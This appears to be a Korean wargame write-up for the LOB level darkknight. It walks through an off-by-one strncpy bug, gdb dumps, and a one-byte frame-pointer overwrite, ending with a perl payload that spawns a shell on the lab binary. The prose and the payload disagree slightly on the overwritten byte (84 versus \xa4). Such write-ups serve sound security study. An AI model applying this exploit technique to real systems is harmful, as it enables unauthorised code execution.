일단 소스를 보면, 

[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}



힌트로 위에 FPO가 나와있는데 "stack Frame Pointer Operation"의 약자인 것 같다. (SFPO가 아니네요 ㅋㅋ)


0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp


이 부분은 함수 프롤로그 부분인데 
예전 함수의 ebp를 백업하는 부분이다.

지금은 main함수 안에서 problem_child라는 함수 안으로 들어와 있는데, 함수가 종료할 때, 이전 함수의 Base Pointer를 찾아가기 위해서이다.

조작된 sfp를 갖고 나와서 
leave ret이 진행 되므로 

mov %ebp,%esp
pop %ebp

를 수행한다.

즉 ebp를 esp가 가리키는 곳에 넣는다. 그리고 그 ebp를 pop하면서 esp+4가 된다.

따라서 sfp가 가리키는곳의 +4가 main함수의 return address인 것이다.

problem_child함수의 ebp(main함수 관점에서 sfp)+4는 main함수의 return address이다.

따라서 여기서는 strncpy함수로 인해서 sfp의 단 1바이트만을 조작할 수 있다.


(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp
0x8048443 <problem_child+3>:    sub    $0x28,%esp
0x8048446 <problem_child+6>:    push   $0x29
0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:   push   %eax
0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:   add    $0xc,%esp
0x8048458 <problem_child+24>:   lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>:   push   %eax
0x804845c <problem_child+28>:   push   $0x8048500
0x8048461 <problem_child+33>:   call   0x8048354 <printf>
0x8048466 <problem_child+38>:   add    $0x8,%esp
0x8048469 <problem_child+41>:   leave
0x804846a <problem_child+42>:   ret
0x804846b <problem_child+43>:   nop
End of assembler dump.
(gdb) Quit
(gdb) b *problem_child+38
Breakpoint 2 at 0x8048466
(gdb) r `perl -e 'print "A"x40'`
Starting program: /home/golem/tmp/darkknight `perl -e 'print "A"x40'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x8048466 in problem_child ()
(gdb) x/100x $ebp
0xbffff9ac:     0xbffff900      0x0804849e      0xbffffb2f      0xbffff9d8
0xbffff9bc:     0x400309cb      0x00000002      0xbffffa04      0xbffffa10
0xbffff9cc:     0x40013868      0x00000002      0x08048390      0x00000000
0xbffff9dc:     0x080483b1      0x0804846c      0x00000002      0xbffffa04
0xbffff9ec:     0x080482e4      0x080484dc      0x4000ae60      0xbffff9fc
0xbffff9fc:     0x40013e90      0x00000002      0xbffffb14      0xbffffb2f
0xbffffa0c:     0x00000000      0xbffffb58      0xbffffb7a      0xbffffb84
0xbffffa1c:     0xbffffb92      0xbffffbb1      0xbffffbbf      0xbffffbd8
0xbffffa2c:     0xbffffbf3      0xbffffc12      0xbffffc1d      0xbffffc2b
0xbffffa3c:     0xbffffc6c      0xbffffc7f      0xbffffc90      0xbffffca5
0xbffffa4c:     0xbffffcae      0xbffffcbe      0xbffffcc9      0xbffffdbd
0xbffffa5c:     0xbffffdda      0xbffffde6      0xbffffdf1      0xbffffe02
0xbffffa6c:     0xbffffe16      0xbffffe1e      0x00000000      0x00000003
0xbffffa7c:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffa8c:     0x00000006      0x00000006      0x00001000      0x00000007
0xbffffa9c:     0x40000000      0x00000008      0x00000000      0x00000009
0xbffffaac:     0x08048390      0x0000000b      0x000001ff      0x0000000c
0xbffffabc:     0x000001ff      0x0000000d      0x000001ff      0x0000000e
0xbffffacc:     0x000001ff      0x00000010      0x0febfbff      0x0000000f
0xbffffadc:     0xbffffb0f      0x00000000      0x00000000      0x00000000
0xbffffaec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffafc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb0c:     0x69000000      0x00363836      0x6d6f682f      0x6f672f65
0xbffffb1c:     0x2f6d656c      0x2f706d74      0x6b726164      0x67696e6b
0xbffffb2c:     0x41007468      0x41414141      0x41414141      0x41414141
(gdb)
0xbffffb3c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb4c:     0x41414141      0x41414141      0x00414141      0x5353454c


현재 공격자가 입력한 데이터가 0xbfffb~~ 쯤에 들어가는 것을 볼 수가 있다.

SFP를 1바이트 조작할 수 있으니, 공격자가 입력한 데이터를 가리키는 주소 값들이 위치한 주소로 overwrite하면 된다.
현재 ebp는 0xbffff9~~ 대 이니까, 0xbffff900 ~ 0xbffff9ff 까지 조작 할 수 있다.


(gdb) x/100x $ebp-200
0xbffff8e4:     0x4001ad70      0x400143e0      0x00000003      0x40014650
0xbffff8f4:     0x00000001      0xbffff910      0x08048170      0x400140d4
0xbffff904:     0x078e530f      0xbffff98c      0xbffff944      0x4000a7fd
0xbffff914:     0x400143d0      0x400146b0      0x00000007      0x4000a74e
0xbffff924:     0x401081ec      0x4000ae60      0xbffffa04      0x400143e0
0xbffff934:     0x40021df0      0x401088c0      0x4002982c      0x40021df0
0xbffff944:     0xbffff974      0x4000a970      0xbffffb58      0xbffff9ac
0xbffff954:     0x4005d920      0x400143e0      0xbffff974      0x40066070
0xbffff964:     0x40106980      0x08048500      0xbffff984      0x401081ec
0xbffff974:     0xbffff9ac      0x08048466      0x08048500      0xbffff984
0xbffff984:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff994:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a4:     0x41414141      0x41414141 
     0xbffff900      0x0804849e
0xbffff9b4:     0xbffffb2f      0xbffff9d8      0x400309cb      0x00000002
0xbffff9c4:     0xbffffa04      0xbffffa10      0x40013868      0x00000002
0xbffff9d4:     0x08048390      0x00000000      0x080483b1      0x0804846c
0xbffff9e4:     0x00000002      0xbffffa04      0x080482e4      0x080484dc
0xbffff9f4:     0x4000ae60      0xbffff9fc      0x40013e90      0x00000002
0xbffffa04:     0xbffffb14      0xbffffb2f      0x00000000      0xbffffb58
0xbffffa14:     0xbffffb7a      0xbffffb84      0xbffffb92      0xbffffbb1
0xbffffa24:     0xbffffbbf      0xbffffbd8      0xbffffbf3      0xbffffc12
0xbffffa34:     0xbffffc1d      0xbffffc2b      0xbffffc6c      0xbffffc7f
0xbffffa44:     0xbffffc90      0xbffffca5      0xbffffcae      0xbffffcbe
0xbffffa54:     0xbffffcc9      0xbffffdbd      0xbffffdda      0xbffffde6
0xbffffa64:     0xbffffdf1      0xbffffe02      0xbffffe16      0xbffffe1e
(gdb)


빨간색으로 칠해져 있는 부분이 입력한 데이터 값이다.
저곳에 0x41414141 이런 문자들 말고, 쉘코드를 넣은 환경변수의 주소를 10개정도 넣은 뒤 맨 마지막 한 바이트를 84(여기서는 84)로 overwrite해주면 된다.


[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd1\xfd\xff\xbf"x10,"\xa4"'`
Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿¤uy¿ž-uy¿euy¿E  @
bash$ my-pass
euid = 512
new attacker
bash$


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

bugbear -> giant  (0) 2014.02.20
darkknight -> bugbear  (0) 2014.02.20
skeleton -> golem  (0) 2014.02.20
vampire -> skeleton  (0) 2014.02.20
troll -> vampire  (0) 2014.02.20
Posted by windowhan
,